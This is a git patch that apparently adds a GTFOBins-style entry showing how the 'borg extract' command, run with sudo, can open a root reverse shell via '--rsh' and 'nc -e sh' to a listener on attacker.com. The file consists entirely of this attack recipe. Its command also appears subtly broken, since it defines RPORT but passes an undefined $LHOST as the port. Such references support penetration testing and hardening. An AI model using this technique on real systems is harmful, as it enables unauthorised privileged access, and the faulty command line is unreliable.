From b2d28b6a18919296c1a2fa12c8b2a4cd6dbf2f48 Mon Sep 17 00:00:00 2001 From: JM Sanchez <77505889+jmrcsnchz@users.noreply.github.com> Date: Sun, 18 Aug 2024 23:45:53 +0800 Subject: [PATCH] Create borg.md --- _gtfobins/borg.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 _gtfobins/borg.md diff --git a/_gtfobins/borg.md b/_gtfobins/borg.md new file mode 100644 index 0000000..4f559e5 --- /dev/null +++ b/_gtfobins/borg.md @@ -0,0 +1,9 @@ +--- + sudo: + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | + RHOST=attacker.com + RPORT=12345 + NETCAT=/usr/bin/nc + sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh" +---